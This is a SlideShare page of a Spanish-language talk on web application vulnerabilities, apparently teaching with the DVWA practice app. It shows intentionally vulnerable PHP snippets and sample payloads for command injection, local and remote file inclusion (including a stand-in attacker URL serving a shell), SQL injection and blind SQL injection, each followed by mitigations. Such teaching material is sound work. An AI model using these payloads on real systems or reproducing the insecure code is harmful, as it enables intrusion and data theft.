SlideShare una empresa de Scribd logo
1 de 27
Descargar para leer sin conexión
VULNERABILIDADES
EN APLICACIONES WEB



www.realtic.es
¿DE QUE VA ESTO?

¿POR QUÉ SERGURIDAD EN
       LA WEB?
¿QUÉ VULNERABILIDADES VAMOS A VER?
 •OS Commanding
 •Local File Inclusion (LFI)
 •Remote File Inclusion (RFI)
 •SQL Injection
 •Blind SQL Injection
 •Unrestricted File Upload
 •Cross-site scripting (XSS)
DEMO




Damn Vulnerable Web Application (DVWA)
          www.dvwa.co.uk

 http://www.dvwa.co.uk/DVWA-1.0.7.iso
OS COMMANDING
Ataque que permite la ejecución no
autorizada de comandos en el sistema
operativo del servidor web
                                                Podemos realizar este ataque
<?php                                           ingresando “;” o “|” (dependiendo del
        passthru("/bin/ping " . $_GET[‘IP’]);   sistema operativo)
?>
                                                IP = 192.168.1.1 | ls



SOLUCIÓN:
Filtrar correctamente los parámetros recibidos por el cliente.
OS COMMANDING



   DEMO
LOCAL FILE INCLUSION
Ataque que permite el enlace de archivos locales
debido a una mala filtración en las funciones propias de
PHP: include(), include_once(), requiere(),
requiere_once().
<?php
        $pagina = $_GET[‘pagina'] ;
        if (isset( $pagina) ) {
                    include( ‘paginas/’ . $pagina . '.php' );
        } else {
                     include( ‘index.php' );
        }
?>
LOCAL FILE INCLUSION
Ataque que permite el enlace de archivos locales
debido a una mala filtración en las funciones propias de
PHP: include(), include_once(), requiere(),
requiere_once().
 <?php
           $pagina = $_GET[‘pagina'] ;
           if (isset( $pagina) ) {
                       include( ‘paginas/’ . $pagina . '.php' );
           } else {
                        include( ‘index.php' );
           }
 ?>

/vulnerable.php?pagina=../../../../../../../../etc/passwd%00
REMOTE FILE INCLUSION

Ataque que permite el enlace de archivos remotos
debido a una mala filtración en las funciones propias
de PHP: include(), include_once(), requiere(),
requiere_once()

Directivas activadas en la configuración de PHP:
allow_url_include
allow_url_fopen
REMOTE FILE INCLUSION

Ataque que permite el enlace de archivos remotos
debido a una mala filtración en las funciones propias
de PHP: include(), include_once(), requiere(),
requiere_once()

Directivas activadas en la configuración de PHP:
allow_url_include
allow_url_fopen
http://www.securityartwork.es/2010/12/
22/recopilacion-local-file-inclusion-lfi/
REMOTE FILE INCLUSION
Ejemplo:

 <?php
         $pagina = $_GET[‘pagina'] ;
         if (isset( $pagina) ) {
                  include( $pagina . '.php' );
         } else {
                   include( ‘index.php' );
         }
 ?>

/vulnerable.php?pagina=http://www.google.com?
/vulnerable.php?pagina=http://atacante.com/shell.txt?
Soluciones:
•Filtrar los valores recibidos por el usuario
  $pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);
              IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!!
  $pagina = str_replace('../', '', $_GET[‘pagina’]);
  /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!!

• Almacenar las distintas opciones válidas en un array y
comprobar si se encuentra en dicho array
 $paginas = array('principal', ‘blog', 'contacto');
 if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas))

•Desactivar allow_url_include y allow_url_fopen

•No confiar nunca en el usuario, y, por lo tanto, no incluir nada
que un usuario pueda modificar.
LOCAL FILE INCLUSION
           &
REMOTE FILE INCLUSION


      DEMO
SQL INJECTION & BSQL INJECTION
Ataque que permite manipular una consulta SQL por
un atacante con el fin de leer/modificar/eliminar datos
sensibles de la base de datos o del sistema.

  mysql_query("SELECT * FROM ‘Usuarios’
               WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’
                AND Password=‘“ . $_GET[‘password'] . “’;”);
SQL INJECTION & BSQL INJECTION
Ataque que permite manipular una consulta SQL por
un atacante con el fin de leer/modificar/eliminar datos
sensibles de la base de datos o del sistema.

  mysql_query("SELECT * FROM ‘Usuarios’
               WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’
                AND Password=‘“ . $_GET[‘password'] . “’;”);


                       Usuario = a’ or ‘1’=‘1
                      Password = a’ or ‘1’=‘1
SQL INJECTION & BSQL INJECTION
Ataque que permite manipular una consulta SQL por
un atacante con el fin de leer/modificar/eliminar datos
sensibles de la base de datos o del sistema.

  mysql_query("SELECT * FROM ‘Usuarios’
               WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’
                AND Password=‘“ . $_GET[‘password'] . “’;”);


                       Usuario = a’ or ‘1’=‘1
                      Password = a’ or ‘1’=‘1



  mysql_query("SELECT * FROM ‘Usuarios’
               WHERE Usuario=‘a’ or ‘1’=‘1’
                AND Password=‘a’ or ‘1’=‘1’;”);
SQL INJECTION & BSQL INJECTION
Se considera BLIND SQL INJECTION cuando la respuesta
no esta directamente impresa en el documento HTML
/vulnerable.php?id=1

“SELECT Usuario FROM ‘Usuarios’           SELECT Usuario FROM ‘Usuarios’
 WHERE id=“ . $_GET[‘id'] . ”;”           WHERE id=1;


                         Mostraría en este caso, admin
SQL INJECTION & BSQL INJECTION
Se considera BLIND SQL INJECTION cuando la respuesta
no esta directamente impresa en el documento HTML
/vulnerable.php?id=1

“SELECT Usuario FROM ‘Usuarios’              SELECT Usuario FROM ‘Usuarios’
 WHERE id=“ . $_GET[‘id'] . ”;”              WHERE id=1;
/vulnerable.php?id=1 and 1=1

“SELECT Usuario FROM ‘Usuarios’
 WHERE id=“ . $_GET[‘id'] . ”;”               SELECT Usuario FROM ‘Usuarios’
                                              WHERE id=1 and 1=1;



                               También mostraría admin
SQL INJECTION & BSQL INJECTION
Se considera BLIND SQL INJECTION cuando la respuesta
no esta directamente impresa en el documento HTML
/vulnerable.php?id=1

“SELECT Usuario FROM ‘Usuarios’              SELECT Usuario FROM ‘Usuarios’
 WHERE id=“ . $_GET[‘id'] . ”;”              WHERE id=1;
/vulnerable.php?id=1 and 1=1

“SELECT Usuario FROM ‘Usuarios’
 WHERE id=“ . $_GET[‘id'] . ”;”               SELECT Usuario FROM ‘Usuarios’
                                              WHERE id=1 and 1=1;
/vulnerable.php?id=1 and 1=2

“SELECT Usuario FROM ‘Usuarios’
 WHERE id=“ . $_GET[‘id'] . ”;”               SELECT Usuario FROM ‘Usuarios’
                                              WHERE id=1 and 1=2;

                                  No mostraría nada
SQL INJECTION & BSQL INJECTION
Soluciones:
•Validar y filtrar los datos de entrada, en particular, los
caracteres especiales.

•Es muy recomendable utilizar prepared statements
para todas las consultas SQL

•Ocultar los mensajes explícitos de error que muestren
las consultas.

•Restringir al mínimo los privilegios de las cuentas que
se usan.
SQL INJECTION
         &
BLIND SQL INJECTION


     DEMO
UNRESTRICTED FILE UPLOAD
Esta vulnerabilidad se produce cuando en una
aplicación que contiene un “file upload” no se hace una
validación estricta de los tipos de ficheros que se
pueden subir, provocando que un atacante pueda
ejecutar código en el servidor o tomar el control del
mismo.
Soluciones:
- Denegar permiso de ejecución en el directorio donde
se suben los archivos.
- Verificar MIME-TYPE.
- Verificar (correctamente) la extensión del archivo.
UNRESTRICTED FILE UPLOAD



        DEMO
CROSS-SITE SCRIPTING (XSS)
Fallo que se produce cuando no se valida la entrada de
datos desde el cliente, provocando que se pueda
inyectar código HTML en el resultado de la página.
Existen 2 tipos de ataque XSS:
   •No persistente
   •Persistente
Por este ataque, se puede obtener del usuario:
   •Predicción del Id de sesión.
   •Robo de Cookies.
   •Ejecución de código malicioso.

htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA
CROSS-SITE SCRIPTING (XSS)



         DEMO
¿Preguntas?
¡¡GRACIAS!!

Más contenido relacionado

La actualidad más candente

Sql injection
Sql injectionSql injection
Sql injectionMinoxx
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sqlobispo28
 
Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Pablo Viquez
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sqljhom123
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades webPablo Garaizar
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3tantascosasquenose
 
14. Seguridad En Aplicaciones Web Asp.Net
14.  Seguridad En Aplicaciones Web Asp.Net14.  Seguridad En Aplicaciones Web Asp.Net
14. Seguridad En Aplicaciones Web Asp.Netguest3cf6ff
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)kernelinux
 
Ser vlet conectar con base de datos
Ser vlet conectar con base de datosSer vlet conectar con base de datos
Ser vlet conectar con base de datosDavid
 
Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3Fernando Redondo Ramírez
 

La actualidad más candente (16)

Sql injection
Sql injectionSql injection
Sql injection
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sql
 
Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0Seguridad de aplicaciones web 2.0
Seguridad de aplicaciones web 2.0
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Introducción a las vulnerabilidades web
Introducción a las vulnerabilidades webIntroducción a las vulnerabilidades web
Introducción a las vulnerabilidades web
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3
 
Charla java
Charla javaCharla java
Charla java
 
Inyecciones SQL
Inyecciones SQLInyecciones SQL
Inyecciones SQL
 
Symfony2 - ACL
Symfony2 - ACLSymfony2 - ACL
Symfony2 - ACL
 
14. Seguridad En Aplicaciones Web Asp.Net
14.  Seguridad En Aplicaciones Web Asp.Net14.  Seguridad En Aplicaciones Web Asp.Net
14. Seguridad En Aplicaciones Web Asp.Net
 
Spring Security
Spring SecuritySpring Security
Spring Security
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
Ser vlet conectar con base de datos
Ser vlet conectar con base de datosSer vlet conectar con base de datos
Ser vlet conectar con base de datos
 
10.desarrollowebconjava
10.desarrollowebconjava10.desarrollowebconjava
10.desarrollowebconjava
 
Servicios web
Servicios webServicios web
Servicios web
 
Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3Springio2012 taller-seguridad-web-springsecurity-3
Springio2012 taller-seguridad-web-springsecurity-3
 

Destacado

2014-2 Tema 2. Sniffer y Monitores
2014-2 Tema 2. Sniffer y Monitores2014-2 Tema 2. Sniffer y Monitores
2014-2 Tema 2. Sniffer y MonitoresFrancisco Medina
 
La comunicación
La comunicaciónLa comunicación
La comunicaciónconchisarro
 
Vendredi22aout2008
Vendredi22aout2008Vendredi22aout2008
Vendredi22aout2008guestc8a70e
 
Análisis iii series
Análisis iii   seriesAnálisis iii   series
Análisis iii seriesSelf-Employed
 
Dp Tarification Bancaire 08
Dp Tarification Bancaire 08Dp Tarification Bancaire 08
Dp Tarification Bancaire 08LeonUffi
 
Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...
Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...
Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...Veroiotis Georgios
 
Des faire-part de naissance
Des faire-part de naissanceDes faire-part de naissance
Des faire-part de naissanceFanny Grosse
 
Revisión del informe 1ª parte
Revisión del informe 1ª parteRevisión del informe 1ª parte
Revisión del informe 1ª parteLuis Bados Ramirez
 
La Nuit éTait Noire...
La Nuit éTait Noire...La Nuit éTait Noire...
La Nuit éTait Noire...okumi
 
Juego Desactivar una Bomba
Juego Desactivar una BombaJuego Desactivar una Bomba
Juego Desactivar una BombaJugar Con Juegos
 
4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...
4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...
4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...Ludovic Dublanchet
 
Reglamentos cc
Reglamentos ccReglamentos cc
Reglamentos ccfrosero
 
Las mejores fotos de la naturaleza
Las mejores fotos de la naturalezaLas mejores fotos de la naturaleza
Las mejores fotos de la naturalezajugui
 

Destacado (20)

2014-2 Tema 2. Sniffer y Monitores
2014-2 Tema 2. Sniffer y Monitores2014-2 Tema 2. Sniffer y Monitores
2014-2 Tema 2. Sniffer y Monitores
 
Observe
ObserveObserve
Observe
 
La comunicación
La comunicaciónLa comunicación
La comunicación
 
Partie1
Partie1Partie1
Partie1
 
Vendredi22aout2008
Vendredi22aout2008Vendredi22aout2008
Vendredi22aout2008
 
Análisis iii series
Análisis iii   seriesAnálisis iii   series
Análisis iii series
 
Dp Tarification Bancaire 08
Dp Tarification Bancaire 08Dp Tarification Bancaire 08
Dp Tarification Bancaire 08
 
Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...
Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...
Les conséquences attendues pour l’image du vin d’Alsace et l’appellation « Vi...
 
Des faire-part de naissance
Des faire-part de naissanceDes faire-part de naissance
Des faire-part de naissance
 
Revisión del informe 1ª parte
Revisión del informe 1ª parteRevisión del informe 1ª parte
Revisión del informe 1ª parte
 
La Nuit éTait Noire...
La Nuit éTait Noire...La Nuit éTait Noire...
La Nuit éTait Noire...
 
Juego Desactivar una Bomba
Juego Desactivar una BombaJuego Desactivar una Bomba
Juego Desactivar una Bomba
 
4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...
4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...
4emes Rencontres Nationales du etourisme institutionnel - Atelier 8 Avis de c...
 
Reglamentos cc
Reglamentos ccReglamentos cc
Reglamentos cc
 
Despilfarro catalanista
Despilfarro catalanistaDespilfarro catalanista
Despilfarro catalanista
 
Las mejores fotos de la naturaleza
Las mejores fotos de la naturalezaLas mejores fotos de la naturaleza
Las mejores fotos de la naturaleza
 
Manual oracle 9i
Manual oracle 9iManual oracle 9i
Manual oracle 9i
 
Atelier Web2.0
Atelier Web2.0Atelier Web2.0
Atelier Web2.0
 
Mission Pluton
Mission PlutonMission Pluton
Mission Pluton
 
Repaso
RepasoRepaso
Repaso
 

Similar a Vulnerabilidades en aplicaciones web

Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdfAsegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdfJose Manuel Ortega Candel
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones webJose Mato
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todoscsaralg
 
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
 Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017) Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)wpargentina
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridadguestbfa74a
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesNextel S.A.
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesPablo Garaizar
 
Sql injection
Sql injectionSql injection
Sql injectionMinoxx
 
Sql injection
Sql injectionSql injection
Sql injectionMinoxx
 
Sql Injection
Sql InjectionSql Injection
Sql InjectionMinoxx
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0José Moreno
 
Seguridad en WordPress, fundamentos y mejores prácticas
Seguridad en WordPress, fundamentos y mejores prácticasSeguridad en WordPress, fundamentos y mejores prácticas
Seguridad en WordPress, fundamentos y mejores prácticasLucy Tomas
 
SQL Injection Joinea 2010
SQL Injection Joinea 2010SQL Injection Joinea 2010
SQL Injection Joinea 2010magnobalt
 
PHP Tema 7 - Seguridad
PHP Tema 7 - SeguridadPHP Tema 7 - Seguridad
PHP Tema 7 - SeguridadSpacetoshare
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la webTensor
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la webTensor
 

Similar a Vulnerabilidades en aplicaciones web (20)

Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdfAsegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
 
Inyecciones sql para todos
Inyecciones sql para todosInyecciones sql para todos
Inyecciones sql para todos
 
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
 Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017) Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
Cómo blindar tu sitio WordPress (Rodrigo Donini, WCBA 2017)
 
Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.
 
WebAttack - Presentación
WebAttack - PresentaciónWebAttack - Presentación
WebAttack - Presentación
 
Seguridad en PHP (es)
Seguridad en PHP (es)Seguridad en PHP (es)
Seguridad en PHP (es)
 
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql Injection
Sql InjectionSql Injection
Sql Injection
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
Web app attacks
Web app attacksWeb app attacks
Web app attacks
 
Seguridad en WordPress, fundamentos y mejores prácticas
Seguridad en WordPress, fundamentos y mejores prácticasSeguridad en WordPress, fundamentos y mejores prácticas
Seguridad en WordPress, fundamentos y mejores prácticas
 
SQL Injection Joinea 2010
SQL Injection Joinea 2010SQL Injection Joinea 2010
SQL Injection Joinea 2010
 
PHP Tema 7 - Seguridad
PHP Tema 7 - SeguridadPHP Tema 7 - Seguridad
PHP Tema 7 - Seguridad
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la web
 
Seguridad en la web
Seguridad en la webSeguridad en la web
Seguridad en la web
 

Vulnerabilidades en aplicaciones web

  • 2. ¿DE QUE VA ESTO? ¿POR QUÉ SERGURIDAD EN LA WEB?
  • 3. ¿QUÉ VULNERABILIDADES VAMOS A VER? •OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection •Blind SQL Injection •Unrestricted File Upload •Cross-site scripting (XSS)
  • 4. DEMO Damn Vulnerable Web Application (DVWA) www.dvwa.co.uk http://www.dvwa.co.uk/DVWA-1.0.7.iso
  • 5. OS COMMANDING Ataque que permite la ejecución no autorizada de comandos en el sistema operativo del servidor web Podemos realizar este ataque <?php ingresando “;” o “|” (dependiendo del passthru("/bin/ping " . $_GET[‘IP’]); sistema operativo) ?> IP = 192.168.1.1 | ls SOLUCIÓN: Filtrar correctamente los parámetros recibidos por el cliente.
  • 7. LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once(). <?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
  • 8. LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once(). <?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?> /vulnerable.php?pagina=../../../../../../../../etc/passwd%00
  • 9. REMOTE FILE INCLUSION Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen
  • 10. REMOTE FILE INCLUSION Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen http://www.securityartwork.es/2010/12/ 22/recopilacion-local-file-inclusion-lfi/
  • 11. REMOTE FILE INCLUSION Ejemplo: <?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( $pagina . '.php' ); } else { include( ‘index.php' ); } ?> /vulnerable.php?pagina=http://www.google.com? /vulnerable.php?pagina=http://atacante.com/shell.txt?
  • 12. Soluciones: •Filtrar los valores recibidos por el usuario $pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']); IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!! $pagina = str_replace('../', '', $_GET[‘pagina’]); /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!! • Almacenar las distintas opciones válidas en un array y comprobar si se encuentra en dicho array $paginas = array('principal', ‘blog', 'contacto'); if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas)) •Desactivar allow_url_include y allow_url_fopen •No confiar nunca en el usuario, y, por lo tanto, no incluir nada que un usuario pueda modificar.
  • 13. LOCAL FILE INCLUSION & REMOTE FILE INCLUSION DEMO
  • 14. SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema. mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
  • 15. SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema. mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”); Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1
  • 16. SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema. mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”); Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1 mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘a’ or ‘1’=‘1’ AND Password=‘a’ or ‘1’=‘1’;”);
  • 17. SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;” WHERE id=1; Mostraría en este caso, admin
  • 18. SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;” WHERE id=1; /vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;” SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1; También mostraría admin
  • 19. SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;” WHERE id=1; /vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;” SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1; /vulnerable.php?id=1 and 1=2 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;” SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=2; No mostraría nada
  • 20. SQL INJECTION & BSQL INJECTION Soluciones: •Validar y filtrar los datos de entrada, en particular, los caracteres especiales. •Es muy recomendable utilizar prepared statements para todas las consultas SQL •Ocultar los mensajes explícitos de error que muestren las consultas. •Restringir al mínimo los privilegios de las cuentas que se usan.
  • 21. SQL INJECTION & BLIND SQL INJECTION DEMO
  • 22. UNRESTRICTED FILE UPLOAD Esta vulnerabilidad se produce cuando en una aplicación que contiene un “file upload” no se hace una validación estricta de los tipos de ficheros que se pueden subir, provocando que un atacante pueda ejecutar código en el servidor o tomar el control del mismo. Soluciones: - Denegar permiso de ejecución en el directorio donde se suben los archivos. - Verificar MIME-TYPE. - Verificar (correctamente) la extensión del archivo.
  • 24. CROSS-SITE SCRIPTING (XSS) Fallo que se produce cuando no se valida la entrada de datos desde el cliente, provocando que se pueda inyectar código HTML en el resultado de la página. Existen 2 tipos de ataque XSS: •No persistente •Persistente Por este ataque, se puede obtener del usuario: •Predicción del Id de sesión. •Robo de Cookies. •Ejecución de código malicioso. htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA